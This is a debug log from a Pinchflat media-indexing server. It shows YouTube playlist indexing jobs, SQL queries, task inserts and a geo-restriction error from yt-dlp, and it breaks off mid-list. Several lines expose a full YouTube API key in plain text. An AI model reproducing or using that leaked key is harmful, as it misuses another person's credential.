17:07:11.571 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 17:07:11.571 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:11.572 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:11.816 [debug] QUERY OK source="media_items" db=0.6ms idle=244.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", "cQAPX3Qmbbw", "Qx4mqyQgZRE", "A8UXgQagHGE", "-XokzL0OQu0", "1hNouH7bBf4", "qZKBr-uzWXE", "tCG0_ctAGuw", "dJpTLJa07R0", "06xaEhog2jc", "xCly46rmt_E", "fgvCSP_Uieo", "Y-Glc4AfUu8", "WhrVgN8MHvE", "wdeJMY-yjxY", "ewCRfp9isyQ", "TC69Hts9xUw", "QD10PkEFM8w", "EDTL7eqicgk", "TN9ynzCtxH0", "PIm8vxiuo80", "d5wK7sqUPME", "g52_h5ba7AI", "eCXvteo9yPM", "LffHwB95-nc", "d5EbHE-E_30", "ISfcCtkM9Eg", "waruccu-7dk", "rp5VlotPNVY", "rfDYEpo49MM", "u7g9F323AaU", "oLw4zWP1x5g", "WWUoR1s8tqY", "1yRMUHRkPmg", "8o1haKR8l3U", "10e4_tNBP6M", "vnnhy_10FBA", "GQrTQ862rvU", ...] 17:07:11.817 [debug] QUERY OK source="media_items" db=0.5ms idle=245.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 17:07:11.818 [debug] QUERY OK source="tasks" db=0.1ms idle=246.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800136, 26, ~U[2026-02-10 23:07:11Z], ~U[2026-02-10 23:07:11Z]] 17:07:11.818 [info] {"args":{"id":26},"id":3800098,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":247527,"event":"job:stop","queue_time":450375,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:12.571 [info] {"args":{"id":18},"id":3800099,"meta":{},"system_time":1770764832571726182,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:12.572 [debug] QUERY OK source="sources" db=0.1ms idle=753.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 17:07:12.572 [debug] QUERY OK source="settings" db=0.1ms idle=753.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:12.572 [debug] QUERY OK source="media_profiles" db=0.1ms idle=747.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:12.572 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:12.572 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 17:07:12.572 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:12.572 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:12.738 [debug] QUERY OK source="media_items" db=0.7ms idle=166.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", "jTWFMDJ7DrI", "6U5VizZp2mM", "6CmauK9WXDI", "wgXSw9BpnpU", "i07HAgTz45c", "xM9S3yBulYw", "4Bm5-NIl_RA", "HthaE0RZOck", "kHXxl9yqdbE", "D4ozSz8ab_E", "JvrGuAU-eQ4", "4Nr6hiHbgAw", "EKRoREgXcaQ", "mzTwPwIQENg", "fc3rJ0sJsbI", "j5J9rO_2xsY", "dMCQgYjSoSw", "itGzr7HZl9I", "-anIMIYnyjc", "kPGIGgFI3_E", "5q_lWJSquoc", "Pukp9nKozE8", "sPDYpIlReGY", "LEyq9a84wuU", "ez1buVmEKLU", "Zy_i-7hOQ_c", "yipidSya0Gc", "XiHlv0w2zMo", "cYIiWIJ07co", "_uh9kNqfJzY", "IaadHU9ku_k", "qqcbiTuW6dw", "rsIwHYDhr8M", "5o-L5_zpUc4", "6WiVRluXP80", "qGc2FEC3Htw", "q2pmhQoEGIw", "1J4rDpbqXG8", "9H-9_FLOs7w", "84Bep8MqnRs", "tJvqC1EhOrY", "Rlec9tt_xDA", "PRVOTbvtqwE", "gN7dibXWGlM", ...] 17:07:12.740 [debug] QUERY OK source="media_items" db=0.6ms idle=167.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 17:07:12.740 [debug] QUERY OK source="tasks" db=0.1ms idle=168.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800137, 18, ~U[2026-02-10 23:07:12Z], ~U[2026-02-10 23:07:12Z]] 17:07:12.741 [info] {"args":{"id":18},"id":3800099,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":169250,"event":"job:stop","queue_time":392702,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:12.747 [info] {"args":{"id":39},"id":3800100,"meta":{},"system_time":1770764832747705539,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:12.747 [debug] QUERY OK source="sources" db=0.1ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 17:07:12.748 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:12.748 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:12.748 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:12.748 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 17:07:12.748 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:12.748 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:12.863 [debug] QUERY OK source="media_items" db=0.6ms idle=114.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", "3ltZPDlAzjU", "0Y4qlkciOcs", "_EXBwKthvpU", "Wh33yQMl1E4", "Zmm4cH8rdbo", "udwdvn4CkUM", "gVmYPFscC9s", "siDrI-MD-LA", "xoqZcColJJQ", "_g7eG4Ax5RE", "tTnZ7eisAJI", "6Pxhj3El-5w", "YEcpFV6RELU", "x2L4YTdsD2o", "qIZd11xXCfQ", "Qkmowfr8czQ", "t86uzOhx8sw", "dhct918lLaM", "-3cN37P8DME", "aMBWoX-RTlU", "cFPi6Ya4QPE", "CzGfMeo8Toc", "qXaUPK6ZLpc", "18QTNVOpQ54", ...] 17:07:12.864 [debug] QUERY OK source="media_items" db=0.4ms idle=115.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 17:07:12.865 [debug] QUERY OK source="tasks" db=0.1ms idle=116.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800138, 39, ~U[2026-02-10 23:07:12Z], ~U[2026-02-10 23:07:12Z]] 17:07:12.865 [info] {"args":{"id":39},"id":3800100,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":117938,"event":"job:stop","queue_time":434915,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:12.871 [info] {"args":{"id":3},"id":3800101,"meta":{},"system_time":1770764832871684528,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:12.872 [debug] QUERY OK source="sources" db=0.2ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:07:12.872 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:12.872 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:12.872 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:12.872 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 17:07:12.872 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:12.872 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:13.001 [debug] QUERY OK source="media_items" db=0.6ms idle=128.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", "JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", "QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", "uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", "ue-1JoJQaEg", "vNj75gJVxcE", "Khp3wb0QMpQ", "ZJOfyMCEzjQ", "zb7Bs98KmnY", "8PTjPzw9VhY", ...] 17:07:13.002 [debug] QUERY OK source="media_items" db=0.4ms idle=129.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:07:13.002 [debug] QUERY OK source="tasks" db=0.1ms idle=129.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800139, 3, ~U[2026-02-10 23:07:13Z], ~U[2026-02-10 23:07:13Z]] 17:07:13.003 [info] {"args":{"id":3},"id":3800101,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":131166,"event":"job:stop","queue_time":464815,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:13.324 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/53/6e/536e88177421beb2e7e58cc696f6c21a183bcbb20d188edc648f179f06097ff2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, 